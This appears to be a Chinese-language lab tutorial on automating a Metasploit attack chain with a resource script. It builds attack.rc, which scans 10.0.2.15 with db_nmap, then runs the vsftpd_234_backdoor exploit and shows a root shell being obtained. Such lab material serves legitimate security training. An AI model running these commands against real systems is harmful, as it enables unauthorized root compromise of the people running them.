引言
欢迎来到本实验,学习如何使用 Metasploit 资源脚本自动化攻击。Metasploit Framework 是一个强大的渗透测试工具,但为每次任务手动输入命令可能会重复且耗时。资源脚本(以 .rc 为扩展名的简单文本文件)允许你自动化这些命令序列。
在本实验中,你将学习如何创建一个资源脚本,以自动化针对易受攻击服务的完整攻击链。这包括设置工作区、扫描目标、选择漏洞利用(exploit)、配置它以及发起攻击。完成本实验后,你将能够创建自己的脚本来简化你的渗透测试工作流程。
在本实验中,我们将以一台模拟的易受攻击机器为目标。假设目标机器的 IP 地址是 10.0.2.15。
创建一个带有 .rc 扩展名的新文件
在本步骤中,你将创建资源脚本文件。Metasploit 资源脚本本质上是一个文本文件,其中包含按顺序执行的 msfconsole 命令列表。按照惯例,这些文件具有 .rc 扩展名。
我们将使用 nano 文本编辑器在默认的 ~/project 目录中创建一个名为 attack.rc 的文件。
打开你的终端并执行以下命令来创建并打开新文件:
nano attack.rc
此命令将在 nano 编辑器中打开一个空文件。目前,只需保存空文件并按 Ctrl+X,然后按 Y,最后按 Enter 退出编辑器。你现在已经创建了将在后续步骤中填充的资源脚本文件。
向文件中添加 msfconsole 命令序列
在本步骤中,你将向资源脚本添加初始命令。这些命令将为我们的测试设置一个专用工作区(workspace),并运行一个基本的 Nmap 扫描来收集目标信息。在 Metasploit 中,将工作组织到不同的工作区是一个良好的实践。
首先,再次使用 nano 打开 attack.rc 文件:
nano attack.rc
现在,向文件中添加以下行。第一条命令创建一个名为 vsftpd_lab 的新工作区,第二条命令针对我们的目标(10.0.2.15)运行 Nmap 扫描,并将结果保存到数据库。
workspace -a vsftpd_lab
db_nmap -A 10.0.2.15
添加这两行后,你的 attack.rc 文件应该与此完全一致。按 Ctrl+X,然后按 Y,最后按 Enter 保存文件并退出 nano。
包含使用 exploit、设置选项和运行的命令
在本步骤中,你将向脚本添加核心攻击命令。我们将针对 VSFTPD 服务器中一个已知的漏洞,特别是 vsftpd_234_backdoor exploit。你将添加命令来选择此 exploit,设置所需的 target 选项,最后执行它。
再次使用 nano 打开 attack.rc 文件:
nano attack.rc
将以下命令追加到文件末尾。这些命令指示 Metasploit:
use exploit/unix/ftp/vsftpd_234_backdoor: 选择特定的 exploit 模块。set RHOSTS 10.0.2.15: 将RHOSTS(Remote Hosts) 选项设置为我们目标的 IP 地址。exploit: 发起攻击。
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.15
exploit
添加这些行后,你完整的 attack.rc 文件现在应包含以下五个命令:
workspace -a vsftpd_lab
db_nmap -A 10.0.2.15
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.15
exploit
保存更改并退出 nano 编辑器(Ctrl+X,Y,Enter)。你的自动化攻击脚本现已完成。
使用 -r 标志启动 msfconsole 来执行脚本
在本步骤中,你将执行刚刚创建的资源脚本。Metasploit 控制台 msfconsole 可以使用 -r 标志后跟资源脚本的路径来启动。这会告诉 Metasploit 在启动时执行指定文件中的命令。
确保你位于 ~/project 目录,即你的 attack.rc 文件所在的位置。现在,在你的终端中运行以下命令:
msfconsole -r attack.rc
此命令将启动 Metasploit Framework。它不会立即向你显示通常的 msf6 > 提示符,而是会开始逐一执行 attack.rc 中的每个命令。
观察攻击链的自动化执行
在最后这个步骤中,你将观察你的自动化脚本的结果。当 msfconsole 运行时,你将看到 attack.rc 文件中每个命令的输出。你将看到工作区被创建,Nmap 扫描运行,exploit 被配置,最后攻击被发起。
如果攻击成功,Metasploit 将在目标机器上打开一个命令 shell 会话。你将看到类似如下的消息:
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.4:42931 -> 10.0.2.15:6200) at 2023-10-27 10:30:00 -0400
你现在已经进入了被攻破目标机器的 shell。为了验证这一点,你可以运行 whoami 等命令来查看你当前以哪个用户身份运行。
whoami
预期的输出应该是:
root
这证实了你的自动化脚本已成功攻破目标并获得了 root 访问权限。
要进行清理,输入 exit 关闭命令 shell 会话,然后再次输入 exit 退出 msfconsole。
总结
在本实验中,你成功学习了如何使用 Metasploit 资源脚本来自动化渗透测试工作流程。
你首先创建了一个资源脚本文件 (attack.rc)。然后,你用一系列 msfconsole 命令填充了它,以执行完整的攻击链:创建工作区、扫描目标、选择并配置 exploit,最后发起攻击。你学会了如何使用 msfconsole -r 命令执行此脚本,并观察了自动化执行过程。
这项技能对于节省时间并确保安全评估的一致性非常有价值。你现在可以创建更复杂的脚本来自动化未来工作中各种重复性任务。


